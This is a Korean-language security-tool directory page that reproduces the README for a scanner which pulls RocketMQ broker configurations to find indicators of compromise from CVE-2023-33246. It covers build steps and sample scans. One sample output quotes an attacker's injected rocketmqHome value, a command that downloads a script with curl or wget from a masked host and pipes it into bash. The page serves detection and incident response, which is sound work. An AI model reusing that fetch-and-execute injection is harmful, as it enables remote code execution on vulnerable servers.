Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/vulncheck-oss/fetch-broker-conf
Indicator of Compromise (IOC) ManagementVulnerability AnalysisExploitationInformation GatheringPenetration TestingIncident Response
GitHubvulncheck-oss/fetch-broker-conf

fetch-broker-conf

RocketMQ 브로커 구성을 가져와 CVE-2023-33246의 침해 지표를 발견하는 go-exploit

저장소 보기
5151년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

Fetch Broker Configuration

Fetch Broker Configuration는 rocketmqHome 변수에서 침해 지표를 찾기 위해 RocketMQ 브로커 구성을 다운로드하려고 시도합니다. 이 변수는 다양한 공격자가 CVE-2023-33246을 통해 코드를 실행하는 데 사용합니다. 자세한 내용은 VulnCheck 블로그를 참조하세요.

컴파일

makefile을 사용하여 Docker 컨테이너를 빌드할 수 있습니다:

root@kitploit:~
make docker

또는 Go 빌드 환경이 준비되어 있다면 make를 사용하면 됩니다:

root@kitploit:~
albinolobster@mournland:~/fetch-broker-conf$ make
gofmt -d -w main.go
golangci-lint run --fix main.go
GOOS=linux GOARCH=arm64 go build -o build/main_linux-arm64 main.go

사용법

이 도구는 go-exploit를 기반으로 하므로 스캔 대상을 제공하는 여러 가지 방법이 있습니다. 전체 설명은 프로젝트의 스캐닝 문서에서 확인할 수 있습니다. 다음은 몇 가지 예시입니다:

단일 호스트 스캔

root@kitploit:~
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhost 10.9.49.143 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
  "time": "2023-09-05T05:27:48.567836165-04:00",
  "level": "SUCCESS",
  "msg": "Extracted the variable",
  "rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
  "host": "10.9.49.143",
  "port": 10911
}

여러 호스트 스캔

root@kitploit:~
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts 10.9.49.143,10.9.49.150 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
  "time": "2023-09-05T05:34:27.505747211-04:00",
  "level": "SUCCESS",
  "msg": "Extracted the variable",
  "rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
  "host": "10.9.49.143",
  "port": 10911
}
{
  "time": "2023-09-05T05:34:27.802345043-04:00",
  "level": "SUCCESS",
  "msg": "Extracted the variable",
  "rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
  "host": "10.9.49.150",
  "port": 10911
}

프록시를 사용하여 호스트 파일 스캔

go-exploit는 제공된 대상 CSV를 통한 스캔 기능을 제공합니다. CSV 형식은 host, port, anything if ssl is enabled입니다 (-a를 사용하면 SSL 필드는 무시됩니다). 또한 프록시를 통한 스캔도 지원합니다. 명령은 다음과 같이 작동합니다 (-a는 SSL 자동 감지입니다):

root@kitploit:~
albinolobster@mournland:~/rocketmq-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts-file /tmp/rocketmq.csv -proxy socks5://127.0.0.1:9050 -log-json true 2>/dev/null | jq 'select(.msg == "Extracted the variable")'
{
  "time": "2023-08-31T13:45:35.781849255-04:00",
  "level": "SUCCESS",
  "msg": "Extracted the variable",
  "rocketmqHome": "-c $@|sh . echo (curl -s x.x.x.x/rm.sh||wget -q -O- x.x.x.x/rm.sh)|bash;",
  "host": "x.x.x.x",
  "port": 10909
}
도구 다운로드